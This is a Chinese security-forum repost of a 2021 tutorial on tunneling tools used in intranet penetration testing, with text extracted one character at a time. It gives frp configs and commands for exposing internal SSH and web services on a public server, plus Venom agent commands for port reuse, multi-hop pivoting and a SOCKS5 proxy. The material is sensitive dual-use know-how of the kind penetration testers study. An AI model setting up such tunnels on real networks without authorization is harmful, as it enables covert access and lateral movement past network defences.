搜索

[22255] 2021-08-14_内网渗透常用的隧道代理技术

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2021-08-14_内网渗透常用的隧道代理技术 内 网 渗 透   |   常 用 的 隧 道 代 理 技 术 B Y   L e m o n S e c   2 0 2 1 - 0 8 - 1 4 9 0 % 的 网 安 人 都 关 注 的 公 众 号 一 、 一 、 f r p   内 网 穿 透 内 网 穿 透 h t t p s : / / g i t h u b . c o m / f a t e d i e r / f r p 将 内 网 的 服 务 代 理 到 公 网 v p s 中 v p s   上 配 置 (   f r p s . i n i ) 内 网 服 务 ( f r p c . i n i ) v p s   上 执 行 [ c o m m o n ] b i n d _ p o r t   =   8 0 0 5   #   隧 道 绑 定 的 端 口 t o k e n   =   1 2 3 4 5 6 7 8 9   #   认 证 密 码 v h o s t _ h t t p _ p o r t   =   8 0 0 7   #   内 网 h t t p 服 务 映 射 到 公 网 v p s 上 的 p o r t v h o s t _ h t t p s _ p o r t   =   8 0 0 7   # 内 网 h t t p s 服 务 映 射 到 公 网 v p s 上 的 p o r t [ c o m m o n ] s e r v e r _ a d d r   =   v p s _ i p s e r v e r _ p o r t   =   8 0 0 5 t o k e n   =   1 2 3 4 5 6 7 8 9 [ s s h ]     #   转 发 内 网 s s h   转 发 其 他 端 口 也 一 样   名 称 无 所 谓   t y p e   =   t c p l o c a l _ i p   =   1 2 7 . 0 . 0 . 1 l o c a l _ p o r t   =   2 2 r e m o t e _ p o r t   =   8 0 0 6 [ w e b ]   #   转 发 内 网   h t t p   c u s t o m _ d o m a i n s   =   v p s _ i p t y p e   =   h t t p l o c a l _ p o r t   =   8 0
客 户 端 s s h   连 接   v p s 对 应 s s h 端 口 w e b   服 务 ( 内 ) . / f r p s   - c   f r p s . i n i . / f r p c   - c   f r p c . i n i
（ 外 ） 二 、 二 、 V e n o m 项 目 地 址   h t t p s : / / g i t h u b . c o m / D l i v 3 / V e n o m 基 本 使 用 基 本 使 用 # a d m i n 端 a d m i n   - l p o r t   8 8 8 8 # 客 户 端 a g e n t   - r h o s t   i p   - r p o r t   8 8 8 8
端 口 复 用 端 口 复 用 在 其 他 端 口 不 开 放 的 情 况 下   可 以 端 口 复 用 s h o w   #   查 看 已 连 接 的 s h e l l 。 （ 包 含 拓 扑 g o t o     1   #   序 号 s h e l l   #   进 行 连 接 s h e l l # w i n d o w s 下   i p 为 执 行 命 令 的 i p a g e n t . e x e   - l h o s t   i p   - r e u s e - p o r t   8 0   # 监 听 a d m i n . e x e   - r h o s t   i p   - p o r t   8 0
多 级 代 理 多 级 代 理 起 一 个 a d m i n   ( M a c   o s   1 9 2 . 1 6 8 . 0 . 1 2 7 ) 再 启 动 一 个 a g e n t   ( W i n d o w s 。 。 1 9 2 . 1 6 8 . 0 . 1 5 7 )   连 接 a d m i n 下 层 网 络 启 动   a g e n t   ( w i n d o w s   下 的 虚 拟 机 下 的 虚 拟 机   1 9 2 . 1 6 8 . 5 6 . 1 0 5 ) A d m i n   下 查 看 s h o w . / a d m i n _ m a c o s _ x 6 4   - l p o r t   8 8 8 8 . / a g e n t . e x e   - r h o s t   1 9 2 . 1 6 8 . 0 . 1 2 7   - r p o r t   8 8 8 8 . / a g e n t _ l i n u x _ x 6 4   - l p o r t   8 8 8 8
然 后 进 入   1 节 点 。 也 就 是 w i n d o w s   然 后 连 接 虚 拟 机 的 a g e n t 最 后   g o t o   2   就 是 进 入 了 w i n   的 虚 拟 机 里 了 s o c k 5 代 理 代 理 在 想 要 代 理 出 流 量 的 节 点 上 执 行 如 下 g o t o   1 c o n n e c t   1 9 2 . 1 6 8 . 5 6 . 1 0 5   8 8 8 8
执 行 后 会 在 本 地 出 现 一 个 代 理 端 口 为   7 7 7 7 然 后 用 s o c k s   连 接 工 具 连 接 上 即 可 这 里 用 p r o x y c h a i n s   访 问 的 结 果 一 致 作 者 ： B Y ， 文 章 来 源 ： h t t p : / / d i e g o . t e a m / 渗 透 工 具 ｜ 提 权 ｜ 内 网 ｜ S R C ｜ C S 端 安 全 测 试 ｜ 安 全 加 固 等 资 料 分 享 A p a c h e   T o m c a t   自 动   W A R   部 署 和   渗 透 测 试 工 具 h a s h 认 证 概 念 与 h a s h 破 解 方 式 ( 工 具 使 用 方 式 ) 蓝 队 攻 防 ｜ 如 何 在 没 有 日 志 的 情 况 下 跟 踪 事 件 ？ 代 码 审 计 相 关 知 识 与 资 料 分 享 渗 透 测 试 情 报 收 集 工 具 w e b l o g i c   漏 洞 扫 描 工 具 s p r i n g 框 架 漏 洞 扫 描 蓝 队 防 守 反 制 欢 迎 关 注 欢 迎 关 注 L e m o n S e c 觉 得 不 错 点 个 觉 得 不 错 点 个 “ 赞 赞 ” 、 、 “ 在 看 在 看 ” 哦 哦 s o c k s   端 口 号
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理